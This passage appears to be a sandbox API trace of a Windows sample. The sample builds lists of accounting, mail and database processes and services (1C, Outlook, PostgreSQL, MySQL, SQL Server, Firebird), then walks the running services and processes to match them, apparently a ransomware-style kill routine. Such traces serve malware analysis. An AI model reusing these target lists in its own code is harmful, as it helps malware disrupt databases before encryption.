[0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f100 [0256.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594e00 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594e00, Size=0x20) returned 0x579da8 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x579da8, Size=0x40) returned 0x57adf8 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x57adf8, Size=0x80) returned 0x5bf100 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5bf100, Size=0x100) returned 0x58f208 [0256.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x594e00 [0256.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x5c1f28 [0256.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x594dd0 [0256.250] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f28, Size=0x8) returned 0x5c1f58 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x57a3c0 [0256.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f58, Size=0x10) returned 0x594de8 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x57a3e0 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x579da8 [0256.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594de8, Size=0x20) returned 0x579dd0 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x579df8 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x16) returned 0x57a400 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1a) returned 0x579e20 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x594de8 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4) returned 0x5c1f58 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x57adf8 [0256.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f58, Size=0x8) returned 0x5c1f28 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3c) returned 0x57ae40 [0256.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x5c1f28, Size=0x10) returned 0x594db8 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x57a420 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x18) returned 0x57a440 [0256.251] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x594db8, Size=0x20) returned 0x579e48 [0256.251] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x57e008 [0256.251] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0256.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f100 | out: hHeap=0x540000) returned 1 [0256.251] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0256.251] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x58f208 | out: hHeap=0x540000) returned 1 [0256.251] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x579f38 [0256.384] EnumServicesStatusExW (in: hSCManager=0x579f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0256.387] GetLastError () returned 0xea [0256.387] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x59d038 [0256.387] EnumServicesStatusExW (in: hSCManager=0x579f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x59d038, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x59d038, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0256.398] CloseServiceHandle (hSCObject=0x579f38) returned 1 [0256.493] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0256.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0256.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0256.493] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0256.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0256.493] lstrlenW (lpString="AudioSrv") returned 8 [0256.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0256.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0256.493] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0256.493] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0256.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0256.493] lstrlenW (lpString="BFE") returned 3 [0256.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0256.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0256.493] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0256.493] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0256.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0256.493] lstrlenW (lpString="CryptSvc") returned 8 [0256.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0256.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0256.493] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0256.493] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0256.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0256.494] lstrlenW (lpString="CscService") returned 10 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0256.494] lstrlenW (lpString="DcomLaunch") returned 10 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0256.494] lstrlenW (lpString="Dhcp") returned 4 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0256.494] lstrlenW (lpString="Dnscache") returned 8 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0256.494] lstrlenW (lpString="DPS") returned 3 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.494] lstrlenW (lpString="eventlog") returned 8 [0256.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0256.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0256.494] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0256.494] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0256.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0256.494] lstrlenW (lpString="EventSystem") returned 11 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.495] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.495] lstrlenW (lpString="gpsvc") returned 5 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.495] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.495] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.495] lstrlenW (lpString="lmhosts") returned 7 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0256.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.495] lstrlenW (lpString="MMCSS") returned 5 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0256.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0256.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0256.495] lstrlenW (lpString="MpsSvc") returned 6 [0256.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.496] lstrlenW (lpString="NlaSvc") returned 6 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.496] lstrlenW (lpString="nsi") returned 3 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.496] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.496] lstrlenW (lpString="PcaSvc") returned 6 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.496] lstrlenW (lpString="PlugPlay") returned 8 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.496] lstrlenW (lpString="Power") returned 5 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.496] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.496] lstrlenW (lpString="ProfSvc") returned 7 [0256.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.497] lstrlenW (lpString="RpcSs") returned 5 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.497] lstrlenW (lpString="SamSs") returned 5 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.497] lstrlenW (lpString="Schedule") returned 8 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.497] lstrlenW (lpString="SENS") returned 4 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.497] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.497] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.498] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.498] lstrlenW (lpString="Spooler") returned 7 [0256.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.498] lstrlenW (lpString="SysMain") returned 7 [0256.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.498] lstrlenW (lpString="Themes") returned 6 [0256.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0256.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0256.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0256.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0256.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0256.498] lstrlenW (lpString="UxSms") returned 5 [0256.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0256.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0256.498] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0256.498] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0256.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0256.498] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59d038 | out: hHeap=0x540000) returned 1 [0256.498] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0256.499] Process32FirstW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.499] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.500] lstrlenW (lpString="System") returned 6 [0256.500] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0256.500] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0256.500] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.500] lstrlenW (lpString="smss.exe") returned 8 [0256.500] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0256.500] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.500] lstrlenW (lpString="csrss.exe") returned 9 [0256.500] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.500] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.500] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.501] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.501] lstrlenW (lpString="wininit.exe") returned 11 [0256.501] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0256.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0256.501] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.501] lstrlenW (lpString="csrss.exe") returned 9 [0256.501] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0256.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0256.501] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0256.501] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0256.501] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.502] lstrlenW (lpString="winlogon.exe") returned 12 [0256.502] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0256.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0256.502] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.502] lstrlenW (lpString="services.exe") returned 12 [0256.502] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0256.502] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0256.502] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, 